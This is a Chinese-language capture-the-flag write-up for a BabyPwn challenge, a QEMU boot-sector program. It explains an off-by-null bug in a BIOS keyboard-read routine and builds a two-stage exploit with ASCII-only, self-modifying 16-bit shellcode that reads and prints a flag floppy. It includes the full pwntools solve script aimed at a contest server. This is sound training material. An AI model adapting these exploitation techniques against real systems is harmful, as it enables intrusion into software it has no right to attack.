广东省第四届“强网杯”网络安全大赛 BabyPwn 题解
题目信息
PWN引导程序 nc 121.37.143.62 49154
漏洞分析
给了一个 qemu
虚拟机。启动脚本 launch.sh
如下。
timeout -s SIGKILL 120s ./qemu-system-i386 -hda ./disk -fdb ./flag -snapshot -nographic -monitor /dev/null
120秒超时,自动杀死进程。
hda
挂载了一个 disk
磁盘文件。
fdb
挂载了一个 flag
软盘文件。
将 disk
拖进去 IDA 32位
里面进行分析,使用 16位
解码查看。
查看文件开头部分,即磁盘的主引导扇区。
其中的代码调用了BIOS中断,详见BIOS中断向量表。
首先置 ah
为 0
,调用 0x13号
中断,复位磁盘驱动器。
seg000:0012 mov bp, sp
seg000:0014 mov ah, 0 ; ah=0 复位磁盘驱动器
seg000:0016 int 13h
然后置 ah
为 2
,调用 0x13号
中断,读取磁盘扇区写入至内存的 0x1000
区域。
seg000:0002 push 1000h
seg000:0005 push 80h
seg000:0008 push 2
seg000:000A call sub_11
seg000:0018 mov cx, [bp+arg_0] ; cl=2 起始扇区号2
seg000:001B mov ch, 0 ; ch=0 磁道号0
seg000:001D mov dx, 0
seg000:0020 mov ah, 2 ; ah=2 读扇区
seg000:0022 mov al, 3 ; al=3 读取3个扇区
seg000:0024 mov dx, [bp+arg_2] ; dl=80h 磁盘A(hda)
seg000:0027 mov dh, 0 ; dh=0 磁盘0面
seg000:0029 mov bx, [bp+arg_4] ; bx=1000h 写入至内存的es:bx区域
seg000:002C int 13h
即将 disk
文件的 200h:600h
区域写入至内存的 1000h:1400h
区域。
然后看 0x200
处的代码。这里对寄存器进行了初始化,然后调用了函数 0x563
。
继续看一下函数 0x563
。
这里我将函数 0x4C8
命名为 write
,该函数通过调用 0x10号
中断,实现了打印字符串的功能,打印直至遇到 \x00
结束。
此处还调用了函数 0x526
。
这里我将函数 0x4F5
命名为 read
,重点看一下该函数。
函数 0x4F5
调用了 0x16号
中断,连续读取用户键盘输入字符,读取直至满足以下任一条件结束。
读取超过指定长度
遇到 \x00
遇到 \x0A
遇到 \x0D
最终实现了读取用户输入内容(最大输入长度为 0x100
)保存至栈上的功能。
但是该函数存在 off-by-null
漏洞点,位于 051E
处。
那么我们可以通过写入长度为 0x100
的内容,触发该漏洞,即可在 0x561
处将 bp
修改为 0xEF00
,刚好落在栈上用户输入的第9个字节处。接下来在 0x57B
处控制 sp
至 0xEF00
,那么在 0x57E
处就能控制执行流了。
以为这道题就是一个比较常见的 Pwn考点
。构造好了 payload
,却发现打不通。只能上 GDB
动态调试了。
果然找到问题了。
read
函数里的 0x16号
中断,读取键盘输入字符,只支持 ascii
。实测发现,遇到非 ascii
字符 BIOS
内部会直接忽略。
众所周知,pwntools
自带 ascii
编码器,可是看了最新源码后发现它目前并不支持 16位
。
那么看来只能手动构造 payload
了,除非您手头上有一个支持 16位
的 ascii
编码器。
控制执行流
但这里还有一个问题,由于只支持 ascii
输入,而我们的输入内容会放在栈上 0xEEF8
处,0xEE
不在 ascii
里,无法直接控制执行流至我们写在栈上的 payload
。
这里又是一个传统的 Pwn考点
,我们需要控制执行流回到现有代码上,将二次 payload
布置在“地址为 ascci
”的区域里,然后控制执行流至二次 payload
上。
那么我们可以控制执行流至 0x540
处,然后随便挑一个没有被使用的“地址为 ascci
”的区域,例如 0x1620
。将二次 payload
布置在上面。随后在 0x562
处再次控制执行流至二次 payload
处。
一次 payload
构造如下:
# 0xEEF8
payload = "a" * 8 # offset
payload += p16(0x1620) # seg000:057D pop bp (一次bp地址,二次sp地址)
payload += p16(0x1340) # seg000:057E retn (一次控制执行流地址)
payload += p16(0x1620) # seg000:04FC mov di, [bp+arg_0] (二次payload写位置)
payload += p16(0x1620) # seg000:04F9 mov si, [bp+arg_2] (二次payload最大长度,指定一个较大值即可)
payload = payload.ljust(256, "a") # 补全0x100字节,触发off-by-null漏洞
io.send(payload)
构造二次载荷
此时我们已经顺利将 sp
控制至 0x1620
处,现在需要进行刚刚提到的,在 0x562
处再次控制执行流至二次 payload
处。
二次 payload
的开头部分构造如下:
# 0x1620
payload = p16(0x3030) # seg000:0561 pop bp (二次bp地址,随意)
payload += p16(0x1640) # seg000:0562 retn (二次控制执行流地址)
当二次控制执行流至 0x1640
处,此时 sp=0x1624 bp=0x3030
。
进行到这里,我们需要构造 payload
,来实现读取软盘 flag
文件并打印出来。
0000 mov bl, 0x00 ; \xb3\x00
0002 mov bh, 0x10 ; \xb7\x10 bx=1000h 写入至内存的es:bx区域
0004 mov al, 1 ; \xb0\x01 al=1 读取1个扇区
0006 mov ch, 0 ; \xb5\x00 ch=0 磁道号0
0008 mov cl, 1 ; \xb1\x01 cl=1 起始扇区号1
000A mov dl, 1 ; \xb2\x01 dl=1 软盘B(fdb)
000C mov dh, 0 ; \xb6\x00 dh=0 软盘0面
000E mov ah, 2 ; \xb4\x02 ah=2 读扇区
0010 int 0x13 ; \xcd\x13
0012 mov al, 0x75 ; \xb0\x75
0014 mov ah, 0x13 ; \xb4\x13
0016 push 0x1000 ; \x68\x00\x10
0019 jmp ax ; \xff\xe0 ax=0x1375 跳到0x1375处,打印0x1000处的内容
但是上面的 payload
中含有非 ascii
字符,我们需要构造一个只含 ascii
字符的 payload
。
接下来,手上挑起两把武器。
慢慢耐心构造出我们需要的 ascii payload
。
ip=0x1640 sp=0x1624 bp=0x3030
1624 \x03\x01
1626 \x03\x01
1628 \x01\x10
162A \x5d\x16
162C \x75\x16
162E \x75\x13
1630 \x01\x10
1640 pop ax ; \x58
1641 xor ax, 0x0102 ; \x35\x02\x01
1644 push ax ; \x50
1645 pop dx ; \x5a
1646 pop ax ; \x58
1647 xor ax, 0x0102 ; \x35\x02\x01
164A push ax ; \x50
164B pop cx ; \x59
164C pop bx ; \x5b
164D dec bx ; \x4b
164E pop sp ; \x5c
164F pop ax ; \x58
1650 inc ax ; \x40
1651 xor ax, 0x074d ; \x35\x4d\x07
1654 push ax ; \x50
1655 inc sp ; \x44
1656 inc sp ; \x44
1657 pop ax ; \x58
1658 xor ax, 0x142d ; \x35\x2d\x14
165B dec sp ; \x4c
165C dec sp ; \x4c
165D int 0x13 ; \x7f\x14 => \xcd\x13 (自修改代码)
165F sub al, 0x16 ; \x2c\x16
1661 pop sp ; \x5c
1662 pop sp ; \x5c
1663 pop ax ; \x58
1664 dec ax ; \x48
1665 dec ax ; \x48
1666 push ax ; \x50
1667 inc sp ; \x44
1668 pop ax ; \x58
1669 dec ax ; \x48
166A dec ax ; \x48
166B xor ax, 0x2f1f ; \x35\x1f\x2f
166E push ax ; \x50
166F inc sp ; \x44
1670 pop sp ; \x5c
1671 pop ax ; \x58
1672 pop bx ; \x5b
1673 dec bx ; \x4b
1674 push bx ; \x53
1675 jmp ax ; \x01\x02\x02\x16 => \xff\xe0\x2e\x16 (自修改代码)
解题脚本
from pwn import *
import time
#io = remote('127.0.0.1', 49154)
io = remote('121.37.143.62', 49154)
time.sleep(1)
payload = "aaaaaaaa \x16@\x13 \x16 \x16"
payload = payload.ljust(256, "a")
io.send(payload)
payload = "00@\x16\x03\x01\x03\x01\x01\x10]\x16u\x16u\x13\x01\x10aaaaaaaaaaaaaaX5\x02\x01PZX5\x02\x01PY[K\\X@5M\x07PDDX5-\x14LL\x7f\x14,\x16\\\\XHHPDXHH5\x1f/PD\\X[KS\x01\x02\x02\x16"
io.sendline(payload)
io.interactive()
io.close()
Get Flag
flag{15a17fa8e61b867153814e56e9aa9fd0}
结语
分值300的题目,做出了分值500的难度。
题目并不难,思路比较清晰,难点在于需要耐心构造攻击载荷。
就像这几道Pwn题。
太久没做Pwn题了,堆也差不多忘记了,更不用说 libc 2.31
了(拉闸
Comments